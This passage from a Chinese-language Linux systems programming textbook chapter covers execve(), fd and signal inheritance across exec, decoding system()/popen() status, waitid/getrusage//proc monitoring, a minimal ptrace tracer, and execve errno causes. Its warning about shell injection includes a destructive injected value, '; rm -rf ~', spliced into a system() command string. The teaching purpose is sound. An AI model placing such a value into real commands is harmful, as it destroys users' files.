Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

2.8 程序执行与子进程监控

本章回答

execve() 究竟替换了进程的哪些部分?哪些属性会跨过 exec 保留下来?system() 的返回值为什么不能直接当退出码用,它还在背后动了哪些信号?waitid() 的 siginfo_t、getrusage() 与 /proc/<pid>/stat 各自能告诉你什么?

读完你会

写出 fork + exec + wait 的完整骨架;用 FD_CLOEXEC 精确控制哪些 fd 传给子程序;正确解码 system()/pclose() 的返回值;用 waitid + getrusage + /proc 观察子进程的退出原因与资源用量。

2.7 讲了 fork():它复制出一个「和自己一样」的进程。但复制不是目的,替换才是。shell 每执行一条命令,都是 fork 之后立刻 exec:子进程的身份(PID、fd、凭证)保留,地址空间里的代码与数据被新程序整个换掉。

这一章围绕 execve() 的两侧展开:进入前,父进程要决定传哪些 fd、哪些环境变量、哪些信号状态;退出后,父进程要决定怎么等、怎么解释退出原因、怎么统计资源。中间夹着 system() 与 popen() 这两个「方便但危险」的封装——它们把 fork+exec+wait 藏起来,也把信号与注入问题一起藏了进去。

一条主线:exec 是一个有明确保留清单的边界。跨过它,进程号不变,但「进程里装的是什么」全变了。搞清楚清单,你才能解释为什么 nohup 要忽略 SIGHUP、为什么 sudo 要清环境、为什么守护进程要关 fd(2.19)。

2.8.1 execve():替换的是什么

定义 2.8.1 · `execve()` 的语义

int execve(const char *path, char *const argv[], char *const envp[]) 用 path 指向的可执行文件替换当前进程的地址空间(代码段、数据段、堆、栈、内存映射),并从新程序的入口开始执行。

  • 成功:不返回,进程的 PID 不变,调用点之后的代码不存在了;
  • 失败:返回 -1,errno 为 ENOENT、EACCES、ENOEXEC、ELOOP、ENAMETOOLONG、ETXTBSY 等,进程继续执行原程序。

「不返回」是 execve 与普通函数最大的区别:写 if (execve(...) == -1) 不是在处理「成功后的分支」,而是在处理唯一能到达的分支。成功路径上没有代码,所以后面必须跟 _exit(127) 之类的兜底。

exec 前后保留与重置的属性:

属性exec 后说明
PID、PPID保留进程身份不变
进程组、会话、控制终端保留作业控制关系不变
真实/有效 UID、GID、附加组保留setuid 位在 exec 时生效(2.9)
当前工作目录、umask保留子程序继承
资源限制 RLIMIT_*保留父进程设的限制继续生效
打开的文件描述符保留,除非 FD_CLOEXEC见 2.8.3
被忽略的信号(SIG_IGN)保留nohup 就靠这个
被捕获的信号处理器复位为默认新程序没有旧处理器的地址
信号掩码保留阻塞集合跟着走
未决信号保留(Linux)不因 exec 丢弃
备选信号栈关闭sigaltstack 设置失效
POSIX 定时器不保留timer_create 的定时器消失
setitimer 间隔定时器保留Linux 行为
内存映射全部丢弃包括 mmap 的共享映射
atexit 处理器全部丢弃新程序重新注册

这张表里最容易被忽略的是「忽略的信号保留、捕获的信号复位」。nohup cmd 的实现就是:把 SIGHUP 设为 SIG_IGN,再 exec cmd;因为忽略状态跨 exec 保留,新程序自动免疫终端关闭时的 SIGHUP(前提是新程序自己没有重新安装处理器)。

 父进程                          子进程(fork 之后)                   execve 之后
┌──────────────┐   fork   ┌──────────────────────┐   execve   ┌──────────────────────┐
│ 地址空间 A    │ ───────► │ 地址空间 A(COW)     │ ─────────► │ 地址空间 B(新程序)  │
│ fd 表 0,1,2,3 │          │ fd 表复制(共享 file)│            │ 0,1,2,3 中未 CLOEXEC │
│ SIGINT=handler│          │ SIGINT=handler       │            │ SIGINT=SIG_DFL       │
└──────────────┘          └──────────────────────┘            └──────────────────────┘
        │                            │                                   │
        │ waitpid ◄──────────────────┴─────────── _exit(status) ◄───────┘
        │  (父进程阻塞,直到子进程终止)
        ▼
  status = 退出码 / 信号 / core dump 标志

读图:时间线从左到右,父进程在 waitpid 处阻塞,子进程在 exec 后跑新程序,结束时通过 _exit 把状态交给内核,内核再唤醒父进程。waitpid 拿到的是子进程终止这件事,不是它的输出;输出要走管道或文件(2.14)。

2.8.2 exec 家族、PATH 与 shebang

execve() 是唯一真正的系统调用,其余五个是库函数,区别只在「怎么找文件」和「怎么传参数/环境」:

函数路径参数环境
execl(path, arg0, ..., NULL)给定完整路径可变参数列表继承 environ
execv(path, argv)给定完整路径数组继承 environ
execle(path, arg0, ..., NULL, envp)给定完整路径列表显式 envp
execvp(file, argv)查 PATH数组继承 environ
execvpe(file, argv, envp)查 PATH数组显式 envp(GNU)
fexecve(fd, argv, envp)已打开的 fd数组显式 envp(GNU)

两个细节:

  1. execvp 的 PATH 查找有安全边界。它不会执行「当前目录下的同名文件」,除非 PATH 里显式包含 .;它也不会把 EACCES 当成「继续找下一个」——只要找到一个文件但没有执行权限,execvp 就返回 EACCES,不再继续。
  2. argv[0] 是约定,不是路径。程序可以把它设成任意字符串(登录 shell 用 -bash 表示 login shell)。内核只看 path,不看 argv[0]。

shebang 与 ENOEXEC

内核识别可执行文件靠文件头:ELF 魔数 \x7fELF、脚本的 #!。以 #!/bin/sh 开头的文件,内核会改成执行 /bin/sh,并把脚本路径作为参数传进去:

#!/usr/bin/env python3
# ↑ 内核执行 /usr/bin/env,argv = ["/usr/bin/env", "python3", "脚本路径", 原参数...]

#! 后面的解释器只能带一个参数(Linux 把整行剩余部分当作单个参数),所以 #!/usr/bin/env python3 -u 在 Linux 上会把 python3 -u 当成一个整体路径,通常失败。可移植的写法是把选项放进脚本内部,或者用一个小 wrapper。

如果文件既不是 ELF 也没有 #!,execve 返回 ENOEXEC。shell 捕获这个错误后会自己用 /bin/sh 执行它(这就是「没有 shebang 的脚本也能跑」的原因),但你自己调用 execve 时必须处理这个错误,不能假设内核会兜底。

/* 典型的三段式:execvp 失败后按 errno 区分原因 */
execvp(argv[0], argv);
switch (errno) {
case ENOENT:
    fprintf(stderr, "%s: command not found\n", argv[0]);
    _exit(127);
case EACCES:
    fprintf(stderr, "%s: permission denied\n", argv[0]);
    _exit(126);
default:
    perror("execvp");
    _exit(126);
}

127 与 126 是 shell 的约定(找不到命令 / 找到了但不能执行),不是内核约定。自己写 supervisor 时沿用这套码,能让调用方用同一套逻辑解释结果。

2.8.3 fd 继承与 FD_CLOEXEC

exec 会保留所有没有 FD_CLOEXEC 的 fd。这是管道、重定向能工作的基础,也是 fd 泄漏的主要通道:父进程打开的日志、数据库连接、监听 socket,会悄悄出现在子程序里,直到子程序退出才释放。

下面的程序把 exec 前后的 fd、信号处置、环境变量一次性打印出来。它 exec 自己,用参数区分「exec 前」与「exec 后」:

/* exec_inherit.c:观察 exec 前后的 fd、信号与环境 */
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MARK "--after-exec"

static void die(const char *msg)
{
    perror(msg);
    exit(EXIT_FAILURE);
}

static void on_term(int sig)
{
    (void)sig;   /* 只用于占位:exec 后应复位成 SIG_DFL */
}

static void show_fds(void)
{
    printf("open fds:");
    for (int fd = 0; fd < 32; fd++) {
        int flags = fcntl(fd, F_GETFD);
        if (flags == -1)
            continue;
        printf(" %d%s", fd, (flags & FD_CLOEXEC) ? "(cloexec)" : "");
    }
    printf("\n");
}

static const char *disp(const struct sigaction *sa)
{
    if (sa->sa_handler == SIG_IGN)
        return "SIG_IGN";
    if (sa->sa_handler == SIG_DFL)
        return "SIG_DFL";
    return "handler";
}

int main(int argc, char **argv)
{
    if (argc > 1 && strcmp(argv[1], MARK) == 0) {
        printf("after  exec: pid=%ld ppid=%ld\n", (long)getpid(), (long)getppid());
        show_fds();

        struct sigaction sa;
        if (sigaction(SIGINT, NULL, &sa) == -1)
            die("sigaction SIGINT");
        printf("SIGINT  = %s\n", disp(&sa));
        if (sigaction(SIGTERM, NULL, &sa) == -1)
            die("sigaction SIGTERM");
        printf("SIGTERM = %s\n", disp(&sa));

        sigset_t mask;
        if (sigprocmask(SIG_SETMASK, NULL, &mask) == -1)
            die("sigprocmask");
        printf("SIGUSR1 blocked = %s\n",
               sigismember(&mask, SIGUSR1) == 1 ? "yes" : "no");

        const char *token = getenv("DEMO_TOKEN");
        printf("DEMO_TOKEN = %s\n", token ? token : "(unset)");
        return EXIT_SUCCESS;
    }

    printf("before exec: pid=%ld ppid=%ld\n", (long)getpid(), (long)getppid());

    /* fd 3:不带 CLOEXEC,exec 后仍在 */
    int kept = open("/etc/hosts", O_RDONLY);
    if (kept == -1)
        die("open /etc/hosts");
    printf("kept fd = %d\n", kept);

    /* fd 4:带 CLOEXEC,exec 后消失 */
    int cloexec = open("/etc/hosts", O_RDONLY | O_CLOEXEC);
    if (cloexec == -1)
        die("open /etc/hosts");
    printf("cloexec fd = %d\n", cloexec);

    /* SIGINT 设为忽略:exec 后保留 */
    struct sigaction ign = {0};
    ign.sa_handler = SIG_IGN;
    sigemptyset(&ign.sa_mask);
    if (sigaction(SIGINT, &ign, NULL) == -1)
        die("sigaction ignore");

    /* SIGTERM 设为捕获:exec 后复位为默认 */
    struct sigaction caught = {0};
    caught.sa_handler = on_term;
    sigemptyset(&caught.sa_mask);
    if (sigaction(SIGTERM, &caught, NULL) == -1)
        die("sigaction catch");

    /* 阻塞 SIGUSR1:exec 后仍然阻塞 */
    sigset_t block;
    sigemptyset(&block);
    sigaddset(&block, SIGUSR1);
    if (sigprocmask(SIG_BLOCK, &block, NULL) == -1)
        die("sigprocmask block");

    if (setenv("DEMO_TOKEN", "hello-from-parent", 1) == -1)
        die("setenv");

    show_fds();
    fflush(NULL);          /* exec 前清空 stdio,避免缓冲区被丢弃 */

    char *new_argv[] = { argv[0], (char *)MARK, NULL };
    execv(argv[0], new_argv);
    die("execv");          /* 只有失败才到这里 */
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g exec_inherit.c -o exec_inherit
./exec_inherit

输出应该像这样:

before exec: pid=51200 ppid=50911
kept fd = 3
cloexec fd = 4
open fds: 0 1 2 3 4(cloexec)
after  exec: pid=51200 ppid=50911
open fds: 0 1 2 3
SIGINT  = SIG_IGN
SIGTERM = SIG_DFL
SIGUSR1 blocked = yes
DEMO_TOKEN = hello-from-parent

PID 没变(还是 51200),说明这是同一个进程换了程序;fd 4 消失,fd 3 还在;SIGINT 的忽略状态保留,SIGTERM 的处理器被复位;环境变量跟着 environ 传了过去。这四行就是 exec 语义的实测。

关于 exec 的四个误解
  1. 「exec 会创建新进程」——不会。PID 不变,只是地址空间被替换。要新进程必须先 fork。
  2. 「exec 后所有 fd 都关掉」——只关带 FD_CLOEXEC 的。O_CLOEXEC、dup3(..., O_CLOEXEC)、fcntl(F_DUPFD_CLOEXEC) 才能在创建时原子地设上。
  3. 「所有信号处置都会被重置」——只有被捕获的复位为默认;被忽略的保持忽略,信号掩码与未决信号也保留。
  4. 「exec 失败会终止进程」——不会。失败返回 -1,原程序继续跑。必须自己 _exit。

2.8.4 system():方便背后的四个问题

system() 的语义是「把字符串交给 shell 执行,等它结束」。它内部做了不少事:

  1. fork() 一个子进程;
  2. 子进程 execl("/bin/sh", "sh", "-c", command, NULL);
  3. 父进程在等待期间忽略 SIGINT 与 SIGQUIT,并阻塞 SIGCHLD;
  4. waitpid() 等 shell,恢复信号状态,返回等待状态。

忽略 SIGINT/SIGQUIT 是为了让调用者(比如你的程序)不被 Ctrl-C 杀掉,而让 shell 自己处理;阻塞 SIGCHLD 是为了防止你的 SIGCHLD 处理器把 shell 的子进程抢走,导致 system 等不到人。

定义 2.8.2 · `system()` 的返回值
  • command == NULL:返回非 0 表示 shell 可用,返回 0 表示不可用;
  • fork 或 waitpid 失败:返回 -1,errno 有值;
  • 其他情况:返回 shell 的等待状态(waitpid 的原始 status),要用 WIFEXITED/WEXITSTATUS/WIFSIGNALED 解码。Linux/glibc 与 POSIX 在这里有细微差异,跨平台代码应总是解码,不要直接比较返回值。
/* system_decode.c:正确解码 system() 与 fork+exec 的返回状态 */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>

static void report(const char *how, int status)
{
    if (status == -1) {
        fprintf(stderr, "%s: failed: errno=%d\n", how, errno);
        return;
    }
    if (WIFEXITED(status))
        printf("%s: exited, code=%d (raw=0x%04x)\n",
               how, WEXITSTATUS(status), (unsigned)status);
    else if (WIFSIGNALED(status))
        printf("%s: killed by signal %d%s (raw=0x%04x)\n",
               how, WTERMSIG(status),
               WCOREDUMP(status) ? ", core dumped" : "", (unsigned)status);
    else if (WIFSTOPPED(status))
        printf("%s: stopped by signal %d\n", how, WSTOPSIG(status));
    else
        printf("%s: other status 0x%04x\n", how, (unsigned)status);
}

static int run_shell(const char *cmd)
{
    errno = 0;
    int status = system(cmd);
    if (status == -1 && errno != 0) {
        perror("system");
        return -1;
    }
    return status;
}

static int run_exec(char *const argv[])
{
    pid_t pid = fork();
    if (pid == -1) {
        perror("fork");
        return -1;
    }
    if (pid == 0) {
        execvp(argv[0], argv);
        perror("execvp");
        _exit(127);
    }

    int status;
    while (waitpid(pid, &status, 0) == -1) {
        if (errno != EINTR) {
            perror("waitpid");
            return -1;
        }
    }
    return status;
}

int main(void)
{
    printf("shell available: %s\n", system(NULL) != 0 ? "yes" : "no");

    report("system exit 3    ", run_shell("exit 3"));
    report("system signal TERM", run_shell("kill -TERM $$"));
    report("system not found  ", run_shell("no-such-command-xyz"));
    report("system true       ", run_shell("true"));

    char *const argv[] = { "sh", "-c", "exit 9", NULL };
    report("fork+exec exit 9 ", run_exec(argv));

    return EXIT_SUCCESS;
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g system_decode.c -o system_decode
./system_decode
shell available: yes
system exit 3    : exited, code=3 (raw=0x0300)
system signal TERM: killed by signal 15 (raw=0x000f)
system not found  : exited, code=127 (raw=0x7f00)
system true       : exited, code=0 (raw=0x0000)
fork+exec exit 9 : exited, code=9 (raw=0x0900)

raw=0x0300 说明返回值确实是 wait 状态:高 8 位是退出码。直接 if (system(cmd) != 0) 会把「命令成功」与「命令返回 256」混在一起——虽然退出码只有 8 位,但更常见的是把 -1、127、128+信号 混为一谈。

四个问题

1. 注入。 system("ls " + user_input) 里,用户输入 ; rm -rf ~ 会被 shell 解释。system 没有「参数数组」的形式,永远不要把不可信数据拼进命令串。

2. 信号语义。 调用期间 SIGINT/SIGQUIT 被忽略。如果你的程序本来有 SIGINT 处理器做优雅退出,system 期间它不会触发;用户按 Ctrl-C 只会打到 shell 与它的前台子进程。

3. 环境与 PATH。 子 shell 继承当前 environ 与 PATH。setuid 程序里调用 system 等于把 root shell 交给 PATH 里的任意同名程序——这是提权漏洞的经典形态(2.9)。

4. 线程安全。 system 会临时改全局信号处置,多线程程序里同时调用两次 system,或与自己的 SIGCHLD 处理器并发,行为都不可依赖。它也不是 async-signal-safe 的,信号处理器里绝对不能调。

关于 `system()` 的四个误解
  1. 「system 的返回值就是退出码」——是等待状态。system("exit 3") 在 glibc 上返回 0x0300,不是 3。
  2. 「system 不会 fork」——它 fork 一个子进程跑 /bin/sh -c,至少两个进程(shell 还可能再 fork 命令本身)。
  3. 「system 在 setuid 程序里也能用」——危险。shell 会继承有效 UID,PATH、IFS、ENV 等环境变量都可能被利用。
  4. 「system 能拿到命令输出」——不能。它只返回状态;要输出用 popen 或自己建管道。

2.8.5 popen() 与单向管道

popen(cmd, "r") 返回一个 FILE *,读它就是在读命令的标准输出;pclose() 关闭并等待。"w" 则相反,写它就是在给命令的标准输入喂数据。

FILE *fp = popen("ss -lnt", "r");
if (fp == NULL) {
    perror("popen");
    return EXIT_FAILURE;
}
char line[512];
while (fgets(line, sizeof line, fp) != NULL)
    fputs(line, stdout);

int status = pclose(fp);      /* 返回 wait 状态,不是退出码 */
if (status == -1) {
    perror("pclose");
} else if (WIFEXITED(status)) {
    printf("child exit=%d\n", WEXITSTATUS(status));
}

三个边界:

  • 单向。"r" 只能读,"w" 只能写。需要同时读写,就得自己 pipe() + fork() + dup2()(2.14),或者用 socketpair(2.16)。
  • pclose 返回 wait 状态,与 system 一样要解码。
  • 死锁。"w" 模式下,如果子进程的输出管道写满而你不读,子进程阻塞;你又在等它读完输入,双方僵住。用 popen 就不要让子进程产生大量输出。

popen 内部同样走 /bin/sh -c,注入问题与 system 相同。它也不是 async-signal-safe 的。

2.8.6 监控子进程:waitid、getrusage 与 /proc

waitpid 的 status 是一个被编码过的整数,信息量有限。需要知道「谁杀的、为什么、用了多少 CPU、峰值内存多少」时,要用三个来源:

来源提供什么时机
waitid() 的 siginfo_tsi_code(CLD_EXITED/CLD_KILLED/CLD_DUMPED/CLD_STOPPED)、si_uid、si_status子进程状态变化时
getrusage(RUSAGE_CHILDREN)已回收子进程的累计 utime/stime/maxrss/缺页任意时刻,累计值
/proc/{pid}/stat运行中或僵尸进程的实时状态、线程数、vsize、rss、CPU 时间进程存在期间

/proc/{pid}/stat 的字段多且没有名字,最稳的解析方式是先找到最后一个 )(comm 字段可能含空格与括号),再从后面按位置读。

/* spawn_stats.c:waitid + getrusage + /proc/<pid>/stat 三路观察 */
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>

static void die(const char *msg)
{
    perror(msg);
    exit(EXIT_FAILURE);
}

static void burn_cpu(unsigned long rounds)
{
    volatile unsigned long acc = 0;
    for (unsigned long i = 0; i < rounds; i++)
        acc += i;
}

/* 返回 0 表示解析成功;只取关心的字段 */
static int read_proc_stat(pid_t pid, char *state, long *ppid,
                          unsigned long *utime, unsigned long *stime,
                          long *vsize, long *rss)
{
    char path[64];
    snprintf(path, sizeof path, "/proc/%ld/stat", (long)pid);

    int fd = open(path, O_RDONLY | O_CLOEXEC);
    if (fd == -1)
        return -1;

    char buf[4096];
    ssize_t n = read(fd, buf, sizeof buf - 1);
    close(fd);
    if (n <= 0)
        return -1;
    buf[n] = '\0';

    /* comm 在括号里,可能含空格;从最后一个 ')' 之后开始解析 */
    char *p = strrchr(buf, ')');
    if (p == NULL)
        return -1;
    p++;

    int got = sscanf(p,
                     " %c %ld"
                     " %*d %*d %*d %*d %*u"              /* pgrp session tty tpgid flags */
                     " %*lu %*lu %*lu %*lu"              /* minflt cminflt majflt cmajflt */
                     " %lu %lu"                          /* utime stime */
                     " %*ld %*ld %*ld %*ld %*ld %*ld %*lu" /* cutime cstime prio nice threads itreal starttime */
                     " %ld %ld",                         /* vsize rss */
                     state, ppid, utime, stime, vsize, rss);
    return got == 6 ? 0 : -1;
}

int main(void)
{
    int pipefd[2];
    if (pipe2(pipefd, O_CLOEXEC) == -1)
        die("pipe2");

    pid_t pid = fork();
    if (pid == -1)
        die("fork");

    if (pid == 0) {
        close(pipefd[0]);
        burn_cpu(120000000UL);          /* 制造可观测的用户态 CPU 时间 */
        if (write(pipefd[1], "x", 1) != 1)
            _exit(1);
        close(pipefd[1]);
        _exit(42);
    }

    close(pipefd[1]);

    /* 等子进程写完再读:此时它已退出或即将退出,/proc 仍可读 */
    char c;
    ssize_t n;
    do {
        n = read(pipefd[0], &c, 1);
    } while (n == -1 && errno == EINTR);
    if (n != 1)
        die("read pipe");
    close(pipefd[0]);

    char state = '?';
    long ppid = -1, vsize = -1, rss = -1;
    unsigned long utime = 0, stime = 0;
    if (read_proc_stat(pid, &state, &ppid, &utime, &stime, &vsize, &rss) == 0) {
        printf("/proc: state=%c ppid=%ld utime=%lu stime=%lu vsize=%ld rss=%ld pages\n",
               state, ppid, utime, stime, vsize, rss);
    } else {
        printf("/proc: not readable (进程可能已被回收)\n");
    }

    siginfo_t si;
    memset(&si, 0, sizeof si);
    if (waitid(P_PID, (id_t)pid, &si, WEXITED) == -1)
        die("waitid");
    printf("waitid: si_code=%d si_status=%d si_uid=%u\n",
           si.si_code, si.si_status, (unsigned)si.si_uid);

    struct rusage ru;
    if (getrusage(RUSAGE_CHILDREN, &ru) == -1)
        die("getrusage");
    printf("rusage: user=%ld.%06lds sys=%ld.%06lds maxrss=%ld kB\n",
           (long)ru.ru_utime.tv_sec, (long)ru.ru_utime.tv_usec,
           (long)ru.ru_stime.tv_sec, (long)ru.ru_stime.tv_usec,
           ru.ru_maxrss);
    return EXIT_SUCCESS;
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g spawn_stats.c -o spawn_stats
./spawn_stats
/proc: state=Z ppid=51320 utime=11 stime=0 vsize=2465792 rss=0 pages
waitid: si_code=1 si_status=42 si_uid=1000
rusage: user=0.118000s sys=0.001000s maxrss=1548 kB

三个来源的差异在这几行里很清楚:

  • /proc 是快照,读到的是僵尸状态 Z,rss=0(页已释放),utime 单位是时钟滴答(sysconf(_SC_CLK_TCK),通常 100);
  • waitid 给出事件原因:si_code=1 是 CLD_EXITED,si_status=42 是退出码;
  • getrusage 是累计值,包含此前所有已回收子进程;maxrss 在 Linux 上以 KB 为单位,在 macOS 上是字节,跨平台要换算。
`si_code` 的取值

CLD_EXITED(1)、CLD_KILLED(2)、CLD_DUMPED(3)、CLD_TRAPPED(4)、CLD_STOPPED(5)、CLD_CONTINUED(6)。只有 CLD_EXITED 时 si_status 才是退出码;其他情况是信号号。看到 si_code 不等于 1 却把 si_status 当退出码,是监督进程里常见的错误。

资源用量的口径

getrusage(RUSAGE_CHILDREN) 只统计已经 wait 过的子进程,且是累计值。要统计单个子进程:

  1. fork 前读一次 RUSAGE_CHILDREN,wait 后再读一次,相减;但多线程/多子进程并发时不可靠;
  2. 用 wait4(pid, &status, 0, &ru) 直接拿到该子进程的 rusage(Linux 与 BSD 都有);
  3. 子进程自己 getrusage(RUSAGE_SELF),通过管道把结果发回父进程——最精确,但要改子程序。

wait4 是最省事的方式:

struct rusage ru;
int status;
pid_t done = wait4(pid, &status, 0, &ru);
if (done == -1) { /* 错误 */ }
printf("utime=%ld.%06ld maxrss=%ld\n",
       (long)ru.ru_utime.tv_sec, (long)ru.ru_utime.tv_usec, ru.ru_maxrss);

2.8.7 ptrace 最小集:观察 syscall

ptrace() 是调试器、strace、沙箱的基础。最小用法分两步:子进程调用 PTRACE_TRACEME 并 exec,父进程用 PTRACE_SYSCALL 让子进程在每次系统调用入口与出口各停一次。

/* 节选:Linux 专用,需 <sys/ptrace.h>、<sys/user.h>、<sys/wait.h> */
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>

static int trace_syscalls(pid_t pid)
{
    int status;
    if (waitpid(pid, &status, 0) == -1)          /* 等 exec 后的第一次停止 */
        return -1;

    if (ptrace(PTRACE_SETOPTIONS, pid, 0,
               (void *)(long)PTRACE_O_TRACESYSGOOD) == -1)
        return -1;

    int entering = 1;
    for (;;) {
        if (ptrace(PTRACE_SYSCALL, pid, 0, 0) == -1)
            return -1;
        if (waitpid(pid, &status, 0) == -1)
            return -1;
        if (WIFEXITED(status) || WIFSIGNALED(status))
            break;
        if (!WIFSTOPPED(status))
            continue;

        /* 只有带 TRACESYSGOOD 时,syscall-stop 的信号号才是 SIGTRAP|0x80 */
        if (WSTOPSIG(status) != (SIGTRAP | 0x80))
            continue;

        struct user_regs_struct regs;
        if (ptrace(PTRACE_GETREGS, pid, 0, &regs) == -1)
            return -1;
        if (entering)
            printf("syscall %lld\n", (long long)regs.orig_rax);
        else
            printf("  -> %lld\n", (long long)regs.rax);
        entering = !entering;
    }
    return 0;
}

x86-64 上系统调用号在 orig_rax,返回值在 rax;AArch64 上分别在 regs[8] 与 regs[0]。PTRACE_SYSCALL 默认会在每个 syscall 停两次(入口、出口),高并发程序的开销极大——strace -f 让程序慢几十倍是正常现象。

ptrace 还要求权限:非 root 只能跟踪自己的后代,或者目标进程显式 PTRACE_TRACEME;Yama LSM 的 kernel.yama.ptrace_scope 会进一步限制(默认 1,只允许跟踪直系子进程)。

2.8.8 execve() 的内核路径与失败矩阵

这一节回答:execve() 从系统调用入口到新程序第一条指令,中间经过哪些阶段;每个 errno 是哪个阶段产生的。知道阶段,才能判断「为什么文件明明可执行却报 EACCES」。

五个阶段

Linux 6.8 的 fs/exec.c 把执行分成五段,每段都有独立的失败点:

execve(path, argv, envp)
  └─ do_execveat_common(AT_FDCWD, path, argv, envp, 0)
       ├─ alloc_bprm()                 分配 struct linux_binprm,复制 argv/envp 指针
       ├─ bprm_stack_limits()          计算参数+环境总大小,检查 ARG_MAX
       ├─ copy_strings()               把字符串从用户态复制到内核页
       └─ bprm_execve()
            ├─ do_open_execat()        打开文件,检查权限、挂载点、O_CLOEXEC
            ├─ bprm_mm_init()          建立临时 mm,准备新栈
            ├─ prepare_bprm_creds()    计算新凭证(setuid/setgid/file caps)
            └─ exec_binprm()
                 └─ search_binary_handler()
                      ├─ load_elf_binary()       ELF
                      ├─ load_script()           #! 脚本(binfmt_script)
                      └─ binfmt_misc 注册的处理器
            └─ begin_new_exec()
                 ├─ flush_old_exec()    丢弃旧地址空间、关闭 CLOEXEC fd
                 ├─ exec_mmap()         切换到新 mm
                 └─ install_exec_creds() 提交新凭证

三个阶段值得单独记:

  1. 打开阶段(do_open_execat)决定 ENOENT/EACCES/ELOOP/ETXTBSY。它用 open_exec(),内部以 O_RDONLY | O_LARGEFILE 打开并做 MAY_EXEC 权限检查;文件正被写入(ETXTBSY)也在这里拒绝。
  2. 格式识别阶段(search_binary_handler)决定 ENOEXEC。它把文件头 256 字节读进 bprm->buf,依次调用已注册的 linux_binfmt->load_binary;ELF 魔数不匹配、也没有 #!,所有处理器都返回 -ENOEXEC。
  3. 提交阶段(begin_new_exec)之后失败极少,因为旧地址空间已经被丢弃。install_exec_creds() 之前,进程仍持有旧凭证;这也是 setuid 程序「exec 那一刻提权」的精确位置。
`bprm` 里的三个关键字段

struct linux_binprm 保存 buf[256](文件头)、interp(实际解释器路径)、cred(待安装凭证)。shebang 的处理方式是:load_script() 把 interp 指向解释器、把解释器路径塞进新 argv,然后让 search_binary_handler() 用新 bprm 再跑一轮格式识别。所以 #!/usr/bin/env python3 实际经历两次格式识别:脚本 → /usr/bin/env(ELF)→ python3(由 env 再 exec)。

execve 的 errno 对照表

errno产生阶段典型原因排查
ENOENT打开文件不存在;shebang 解释器不存在;PATH 查找全失败ls -l、file、head -1 看解释器
EACCES打开文件无 x 位;路径中某级目录无 x;解释器无 x;noexec 挂载namei -l path、findmnt -T path
EPERM打开/凭证no_new_privs 下试图执行带 setuid 的文件(部分内核版本);nosuid 挂载grep NoNewPrivs /proc/self/status、findmnt
ETXTBSY打开文件正被某进程以写方式打开(Linux 特有)fuser -v path、lsof path
ENOEXEC格式识别不是 ELF、没有 shebang;shebang 行超过 127 字节file path、head -c 256 path | xxd
ELIBBAD格式识别解释器本身是损坏的 ELFldd interpreter
E2BIG参数复制argv+envp 超过 ARG_MAX;单个字符串超过 MAX_ARG_STRLEN(128 KiB)getconf ARG_MAX、xargs --show-limits
ENAMETOOLONG打开路径超过 PATH_MAX(4096)或单个分量超过 NAME_MAX(255)echo -n path | wc -c
ELOOP打开符号链接层数超过 40namei -l path
ENOTDIR打开路径中间某级不是目录namei -l path
EMFILE/ENFILE打开解释器进程 fd 耗尽 / 系统文件表耗尽ls /proc/pid/fd | wc -l、ulimit -n
ENOMEM任意内核无法分配 bprm、参数页、新 mmdmesg、cgroup memory
EFAULT参数复制argv/envp 指针指向不可读内存检查数组终止符
EINVAL格式识别ELF 头字段非法(如 e_phentsize 不对)readelf -h

EACCES 是最容易误判的一个:execve 要求路径上每一级目录都有 x 位,不只是目标文件。/home/alice/bin/tool 对 bob 可执行,但如果 /home/alice 是 700,bob 得到的是 EACCES 而不是 EPERM。用 namei -l 一次看清整条路径的权限。

E2BIG 有两个上限:总大小 ARG_MAX(通常 2 MiB,getconf ARG_MAX)和单个字符串 MAX_ARG_STRLEN(32 页 = 128 KiB)。后者常被忽略:一个 200 KiB 的环境变量会让 execve 直接 E2BIG,即使总大小远未到顶。

execveat()、fexecve() 与 binfmt_misc

execveat(int dirfd, const char *pathname, char *const argv[], char *const envp[], int flags) 在 Linux 2.6.16 加入,解决两个 execve 做不到的事:

  • flags = AT_EMPTY_PATH 时,pathname 可以是空串,直接执行 dirfd 指向的文件——配合 O_PATH fd,可以在「文件已被替换/删除」后仍执行打开时的那一份;
  • flags = AT_SYMLINK_NOFOLLOW 时,不跟随最后一级符号链接。

fexecve(fd, argv, envp) 是 glibc 包装:优先用 execveat(fd, "", ..., AT_EMPTY_PATH),旧内核回退到 /proc/self/fd/{fd}。后者在 /proc 未挂载或 fd 带 O_CLOEXEC 时会失败,这是容器里 fexecve 报 ENOENT 的常见原因。

binfmt_misc(/proc/sys/fs/binfmt_misc)允许运行时注册新的可执行格式:按扩展名或文件头魔数匹配,把文件交给指定解释器。QEMU 的用户态模拟(qemu-x86_64 跑 x86 二进制)、Wine、Java 的 jar 都靠它。注册项是全局的,容器里要单独挂载并注册,否则镜像里的跨架构二进制无法执行。

# 看当前注册了哪些格式
ls /proc/sys/fs/binfmt_misc/
# 注册 x86-64 ELF 给 qemu 的典型条目(需要 root)
cat /proc/sys/fs/binfmt_misc/qemu-x86_64

2.8.9 FD_CLOEXEC、close_range() 与 fd 泄漏面

这一节回答:为什么「打开时设 O_CLOEXEC」比「打开后 fcntl 设」安全;多线程程序里 fd 是怎么在 fork 与 exec 之间泄漏的;close_range() 解决什么问题。

FD_CLOEXEC 是 fd 的属性,不是打开文件的属性

FD_CLOEXEC 存在fd 表项里(struct fdtable 的 close_on_exec 位图),不在 struct file 里。这意味着:

  • dup() 复制出的新 fd 不继承 FD_CLOEXEC(POSIX 规定),要用 F_DUPFD_CLOEXEC;
  • fork() 复制 fd 表时把该位一起复制;
  • 对同一个打开文件,可以有 fd 3 带 CLOEXEC、fd 4 不带——exec 后 4 留下、3 关闭;
  • fcntl(fd, F_SETFD, FD_CLOEXEC) 只影响当前 fd,不影响指向同一文件的其它 fd。
操作新 fd 的 FD_CLOEXEC原子性
